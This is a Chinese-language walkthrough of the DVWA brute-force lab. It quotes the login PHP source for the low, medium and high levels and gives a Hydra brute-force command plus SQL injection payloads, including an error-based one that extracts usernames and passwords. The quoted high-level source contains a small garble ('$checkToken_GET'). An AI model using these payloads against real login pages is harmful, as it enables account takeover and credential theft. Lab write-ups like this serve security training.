Brute Force 暴力破解

爆破永远是最经典的,也是最有暴力美学的渗透方式。

low

源码:

if( isset( $_GET[ 'Login' ] ) ) {
    # 获取用户名和密码
    $user = $_GET[ 'username' ];
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    # 查询验证用户名和密码
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    if( $result && mysql_num_rows( $result ) == 1 ) {
      # 输出头像和用户名
      $avatar = mysql_result( $result, 0, "avatar" );
      echo "<p>Welcome to the password protected area {$user}</p>";
    }
    else {
        登录失败
    }
    mysql_close();
}

这一题中的问题有很多,解法也不止一种。因为安全等级是Low,也就不考虑太多,这里记录一下两种解法:

  1. 爆破(出题人推荐解法)
  2. SQL注入

解法1

这里我用的是Hydra来爆破,Hydra[ˈhaɪdrə],原意九头蛇,是希腊神话中的怪兽。

参考命令:

hydra -l admin -P pass.txt -f 127.0.0.1 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: 35l9io0j22ej6j6umvc3g561u6; security=low"

解法2

该难度下的爆破题并没有对用户输入项进行过滤,那么考虑最简单的SQL注入,万能密码:

admin' or '1'='1

或者从URL注入:

?username=admin'--+&password=111&Login=Login#

报错注入

该解法是在尝试SQL注入时,错误的输入了万能密码,导致报错mysql_error() ,于是就有了此解法。

Payload来自国光大佬:

?username=admin'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(user,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+&password=111&Login=Login#

Medium

源码:

// 对用户名和密码进行了过滤
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );

// 验证用户名和密码
$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

if( $result && mysql_num_rows( $result ) == 1 ) {
    登录成功
}
else {
  sleep( 2 );
    登录失败
}

分析源码得知,这一难度下,针对用户输入进行了过滤,但还是可以继续爆破,所以沿用上一个难度的解法即可。

High

源码:

// 检测用户的 token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 过滤用户名和密码
$user = $checkToken_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );

// 数据匹配
$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
  登录成功
}
else {
  sleep( rand( 0, 3 ) );
  登录失败
}